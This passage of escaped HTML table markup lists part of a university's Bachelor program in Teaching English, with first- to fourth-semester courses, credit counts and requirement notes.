<p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>15</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>    <h3 style=\"text-align:center\"><strong><span style=\"line-height:115%\" lang=\"EN-US\">School\r\nof Education</span></strong></h3><h3 style=\"text-align:center\"><strong>Curriculum</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>Bachelor\r\nprogram in Teaching English (132 credits)</strong></h3>\r\n<p style=\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\" =\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<table width=\"1087\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"85\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"268\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td width=\"56\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"76\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:solid=\"\" black=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"311\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" width=\"60\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"72\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"400\">\r\n <strong>I\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"443\">\r\n  <strong>II\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL 101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>English Foundations-1 (12 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p><strong>UR</strong></p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  102</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>English Foundations-2 (12 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>AZLL\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Azerbaijani\r\n  Language </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>AZLL\r\n  105</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Azerbaijani\r\n  Literature </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Azerbaijani\r\n  Culture </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>EDU\r\n  201 </strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Introduction\r\n  to Education </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>CMS\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Introduction\r\n  to CS (Math and Natural Sciences-1)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Math\r\n  and natural-2 (astronomy) </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>HIST\r\n  150</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Azerbaijani\r\n  history</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  108</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Phonetics</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"400\">\r\n <strong>III\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"443\">\r\n <strong>IV\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  103</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Academic\r\n  &nbsp;English ( 8 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL 216</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Academic\r\n  Language Skills (6 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 